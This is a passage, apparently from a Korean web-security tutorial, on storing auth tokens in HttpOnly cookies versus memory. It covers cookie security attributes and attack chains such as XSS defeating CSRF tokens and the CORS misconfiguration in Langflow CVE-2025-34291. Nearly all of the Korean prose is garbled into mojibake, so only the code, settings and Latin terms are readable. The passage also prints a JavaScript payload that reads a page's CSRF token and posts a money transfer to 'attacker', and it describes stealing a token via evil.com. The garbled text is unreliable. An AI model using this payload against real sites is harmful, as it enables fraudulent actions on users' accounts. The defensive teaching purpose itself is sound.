  • ๊ณต๊ฒฉ์ž ์ธํ”„๋ผ์—์„œ ์ž๋™ํ™” ๊ฐ€๋Šฅ โ€” ๋‹ค๋ฅธ IP์—์„œ ์˜ค๋Š” ์š”์ฒญ์ด๋ผ ํƒ์ง€๊ฐ€ ์–ด๋ ค์›€
๊ตฌ๋ถ„HttpOnly ์ฟ ํ‚ค๋ฉ”๋ชจ๋ฆฌ ํ† ํฐ
๊ณต๊ฒฉ ๋ฒ”์œ„ํ”ผํ•ด์ž ๋ธŒ๋ผ์šฐ์ € ๋‚ด๋ถ€๊ณต๊ฒฉ์ž ํ™˜๊ฒฝ (์™ธ๋ถ€)
๊ณต๊ฒฉ ์ง€์†์„ธ์…˜/ํŽ˜์ด์ง€ ํ•œ์ •ํ† ํฐ ๋งŒ๋ฃŒ๊นŒ์ง€
ํ† ํฐ ์œ ์ถœ๋ถˆ๊ฐ€๊ฐ€๋Šฅ
์„œ๋ฒ„ ์ธก ํƒ์ง€๊ฐ€๋Šฅ (๋™์ผ IP/์„ธ์…˜)์–ด๋ ค์›€ (๋‹ค๋ฅธ IP/ํ™˜๊ฒฝ)

์ฟ ํ‚ค๋ฅผ ์“ฐ๊ธฐ๋กœ ํ–ˆ๋‹ค๋ฉด: ๋ณด์•ˆ ์†์„ฑ

์ฟ ํ‚ค๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ณด๋‹ค ์•ˆ์ „ํ•˜๋‹ค๋Š” ๊ฒฐ๋ก ์ด ๋‚˜์™”์œผ๋‹ˆ, ์ฟ ํ‚ค๋ฅผ ์ œ๋Œ€๋กœ ์„ค์ •ํ•˜๋Š” ๋ฐฉ๋ฒ•์„ ์ •๋ฆฌํ•ฉ๋‹ˆ๋‹ค. ๊ฐ ์†์„ฑ์€ ์„œ๋กœ ๋‹ค๋ฅธ ๊ณต๊ฒฉ ๋ฒกํ„ฐ๋ฅผ ์ฐจ๋‹จํ•˜๋ฉฐ, ์กฐํ•ฉํ•ด์„œ ์‚ฌ์šฉํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

HttpOnly๋Š” document.cookie ์ ‘๊ทผ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. XSS๊ฐ€ ์‹คํ–‰๋˜์–ด๋„ ์ฟ ํ‚ค ๊ฐ’ ์ž์ฒด์˜ ํƒˆ์ทจ๋ฅผ ๋ง‰์Šต๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ธ์ฆ๋œ API ํ˜ธ์ถœ(๋Œ€๋ฆฌ ์‹คํ–‰)๊นŒ์ง€๋Š” ๋ฐฉ์–ดํ•˜์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. Secure๋Š” HTTPS ์—ฐ๊ฒฐ์—์„œ๋งŒ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•ฉ๋‹ˆ๋‹ค. Strict-Transport-Security(HSTS)์™€ ํ•จ๊ป˜ ์„ค์ •ํ•ด์•ผ ์ฒซ HTTP ์š”์ฒญ์—์„œ์˜ ๋…ธ์ถœ๋„ ๋ฐฉ์ง€๋ฉ๋‹ˆ๋‹ค. Domain์€ ์ƒ๋žตํ•˜๋Š” ๊ฒƒ์ด ๋” ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค. ์ƒ๋žตํ•˜๋ฉด ํ•ด๋‹น ํ˜ธ์ŠคํŠธ์—์„œ๋งŒ ์ „์†ก๋˜๋Š” Host-Only Cookie๊ฐ€ ๋˜๊ณ , Domain=example.com์œผ๋กœ ์„ค์ •ํ•˜๋ฉด *.example.com ์ „์ฒด์— ์ „์†ก๋˜์–ด ๊ฐ€์žฅ ์•ฝํ•œ ์„œ๋ธŒ๋„๋ฉ”์ธ์ด ์ „์ฒด ๋ณด์•ˆ ์ˆ˜์ค€์„ ๊ฒฐ์ •ํ•ฉ๋‹ˆ๋‹ค. __Host- ์ ‘๋‘์‚ฌ๋Š” ๋ธŒ๋ผ์šฐ์ €๊ฐ€ Secure ํ•„์ˆ˜, Path=/ ํ•„์ˆ˜, Domain ์„ค์ • ๋ถˆ๊ฐ€๋ฅผ ๊ฐ•์ œํ•ฉ๋‹ˆ๋‹ค. ์„œ๋ธŒ๋„๋ฉ”์ธ์ด๋‚˜ ๋น„๋ณด์•ˆ ์ฑ„๋„์—์„œ ๊ฐ™์€ ์ด๋ฆ„์˜ ์ฟ ํ‚ค๋ฅผ ๋ฎ์–ด์“ฐ๋Š” Cookie Tossing์„ ์›์ฒœ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค.

CSRFXSS ์ฟ ํ‚ค ํƒˆ์ทจMITMCookie Tossing
SameSite=Lax๋ถ€๋ถ„ ๋ฐฉ์–ดโ€”โ€”โ€”
SameSite=Strict์™„์ „ ๋ฐฉ์–ดโ€”โ€”โ€”
HttpOnlyโ€”ํƒˆ์ทจ ์ฐจ๋‹จโ€”โ€”
Secureโ€”โ€”์™„์ „ ๋ฐฉ์–ดโ€”
__Host- ์ ‘๋‘์‚ฌโ€”โ€”์™„์ „ ๋ฐฉ์–ด์™„์ „ ๋ฐฉ์–ด

์šด์˜ ํ™˜๊ฒฝ ๊ถŒ์žฅ ์„ค์ •:

# ์„ธ์…˜ ์ฟ ํ‚ค โ€” ๋ชจ๋“  ๋ณด์•ˆ ์†์„ฑ ์ ์šฉ
__Host-session=abc; Secure; HttpOnly; SameSite=Lax; Path=/; Max-Age=3600

# CSRF ํ† ํฐ โ€” JavaScript๊ฐ€ ์ฝ์–ด์•ผ ํ•˜๋ฏ€๋กœ HttpOnly ์ œ์™ธ
__Host-csrf=xyz; Secure; SameSite=Strict; Path=/

# ๋กœ๊ทธ์ธ ์ƒํƒœ ํ‘œ์‹œ โ€” ๋ฏผ๊ฐํ•˜์ง€ ์•Š์€ ๋ฐ์ดํ„ฐ
__Secure-logged_in=true; Secure; SameSite=Lax; Path=/

ํ˜„์‹ค์˜ ๊ณต๊ฒฉ์€ ์ฒด์ธ์ด๋‹ค

์ง€๊ธˆ๊นŒ์ง€ CSRF์™€ XSS๋ฅผ ๋”ฐ๋กœ ๋ดค์ง€๋งŒ, ์‹ค์ œ ๋ณด์•ˆ ์‚ฌ๊ณ ์—์„œ๋Š” ์ทจ์•ฝ์ ์ด ๋‹จ๋…์œผ๋กœ ํ„ฐ์ง€์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

XSS โ†’ CSRF ๋ฌด๋ ฅํ™”

const token = document.querySelector('meta[name="csrf-token"]').content;

fetch('/api/transfer', {
  method: 'POST',
  headers: { 'X-CSRF-Token': token },
  body: JSON.stringify({ to: 'attacker', amount: 10000 }),
});

same-origin XSS๋Š” CSRF ํ† ํฐ์„ DOM์—์„œ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. CSRF ํ† ํฐ, SameSite, Custom Header ์ „๋ถ€ ๋ฌด์˜๋ฏธํ•ด์ง‘๋‹ˆ๋‹ค.

CORS ์„ค์ • ์˜ค๋ฅ˜ โ†’ CSRF ์—…๊ทธ๋ ˆ์ด๋“œ

CSRF๋Š” blind attack์ด๋ผ ์‘๋‹ต์„ ์ฝ์ง€ ๋ชปํ•ฉ๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ CORS๊ฐ€ ์ž˜๋ชป ์„ค์ •๋˜๋ฉด ์ด ์ œ์•ฝ์ด ์‚ฌ๋ผ์ง‘๋‹ˆ๋‹ค. Origin ํ—ค๋”๋ฅผ ๊ทธ๋Œ€๋กœ ๋ฐ˜์‚ฌํ•˜๊ฑฐ๋‚˜, ์ •๊ทœ์‹ ํ™”์ดํŠธ๋ฆฌ์ŠคํŠธ ์‹ค์ˆ˜(bank.com.evil.com ๋งค์นญ), ๋ชจ๋“  ์„œ๋ธŒ๋„๋ฉ”์ธ์„ ๋ฌด์กฐ๊ฑด ์‹ ๋ขฐํ•˜๋Š” ์„ค์ •์ด ๋Œ€ํ‘œ์ ์ž…๋‹ˆ๋‹ค. "์“ฐ๊ธฐ๋งŒ ๊ฐ€๋Šฅํ•œ" CSRF๊ฐ€ "์ฝ๊ธฐ+์“ฐ๊ธฐ" ๊ณต๊ฒฉ์œผ๋กœ ์—…๊ทธ๋ ˆ์ด๋“œ๋ฉ๋‹ˆ๋‹ค.

์‹ค์ œ ์‚ฌ๋ก€: Langflow CVE-2025-34291 (CVSS 9.4)

1. CORS ์„ค์ •: ๋ชจ๋“  origin ํ—ˆ์šฉ
2. ์ฟ ํ‚ค ์„ค์ •: SameSite=None (cross-site ์ฟ ํ‚ค ์ „์†ก)
3. Refresh endpoint: CSRF ํ† ํฐ ์—†์Œ
4. evil.com์—์„œ refresh endpoint ํ˜ธ์ถœ โ†’ ์ฟ ํ‚ค ์ž๋™ ์ „์†ก โ†’ ์ƒˆ access token ๋ฐœ๊ธ‰
5. CORS๊ฐ€ ์‘๋‹ต ์ฝ๊ธฐ ํ—ˆ์šฉ โ†’ access token ํƒˆ์ทจ
6. ํƒˆ์ทจํ•œ ํ† ํฐ์œผ๋กœ RCE ์‹คํ–‰

CORS ์„ค์ • ์˜ค๋ฅ˜ + SameSite=None + CSRF ๋ฏธ์ ์šฉ ์„ธ ๊ฐ€์ง€๊ฐ€ ๊ฒฐํ•ฉ๋˜์–ด ์‹œ์Šคํ…œ ์ „์ฒด๊ฐ€ ๋šซ๋ฆฐ ์‚ฌ๋ก€์ž…๋‹ˆ๋‹ค.

์ •๋ฆฌ

"ํ† ํฐ์„ ์–ด๋””์— ์ €์žฅํ•˜์ง€?"๋ผ๋Š” ์งˆ๋ฌธ์—์„œ ์‹œ์ž‘ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ฟ ํ‚ค์™€ ๋ฉ”๋ชจ๋ฆฌ์˜ ๋ณด์•ˆ ์ฐจ์ด๋Š” ๋‘ ๊ฐ€์ง€ โ€” ์ž๋™ ์ „์†ก ์—ฌ๋ถ€์™€ JS ์ ‘๊ทผ ๊ฐ€๋Šฅ ์—ฌ๋ถ€ โ€” ์ด๊ณ , ์ด ์ฐจ์ด๊ฐ€ ๊ฐ๊ฐ CSRF์™€ XSS ํ† ํฐ ํƒˆ์ทจ๋ผ๋Š” ์ทจ์•ฝ์ ์„ ๋งŒ๋“ญ๋‹ˆ๋‹ค.

XSS๊ฐ€ CSRF๋ณด๋‹ค ์œ„ํ—˜ํ•˜๊ณ , ์ฟ ํ‚ค์˜ ์•ฝ์ (CSRF)์€ ๋ฐฉ์–ด ์ˆ˜๋‹จ์ด ์žˆ์ง€๋งŒ ๋ฉ”๋ชจ๋ฆฌ์˜ ์•ฝ์ (XSS ํƒˆ์ทจ)์€ ๋ง‰์„ ๋ฐฉ๋ฒ•์ด ์—†์œผ๋ฏ€๋กœ, HttpOnly ์ฟ ํ‚ค๊ฐ€ ๋ฉ”๋ชจ๋ฆฌ๋ณด๋‹ค ์•ˆ์ „ํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ฟ ํ‚ค๋„ XSS ์•ž์—์„œ ์™„์ „ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค โ€” ํƒˆ์ทจ๋Š” ๋ชป ํ•ด๋„ ๋Œ€๋ฆฌ ์š”์ฒญ์€ ๊ฐ€๋Šฅํ•˜๊ณ , ํ˜„์‹ค์˜ ๊ณต๊ฒฉ์€ ๋‹จ์ผ ์ทจ์•ฝ์ ์ด ์•„๋‹ˆ๋ผ ์ฒด์ธ์œผ๋กœ ์—ฎ์ž…๋‹ˆ๋‹ค.

HttpOnly + Secure + SameSite=Lax + CSRF ํ† ํฐ ์กฐํ•ฉ์ด ๋Œ€๋ถ€๋ถ„์˜ ์›น ์„œ๋น„์Šค์—์„œ ํ˜„์‹ค์ ์ธ ์„ ํƒ์ž…๋‹ˆ๋‹ค. ํ† ํฐ์„ ๋ธŒ๋ผ์šฐ์ €์— ์•„์˜ˆ ๋ณด๋‚ด์ง€ ์•Š๋Š” BFF(Backend-for-Frontend) ํŒจํ„ด์ด ๊ฐ€์žฅ ์•ˆ์ „ํ•˜์ง€๋งŒ, ์•„ํ‚คํ…์ฒ˜ ๋ณต์žก๋„์™€ ํŠธ๋ ˆ์ด๋“œ์˜คํ”„๊ฐ€ ์žˆ์Šต๋‹ˆ๋‹ค.

References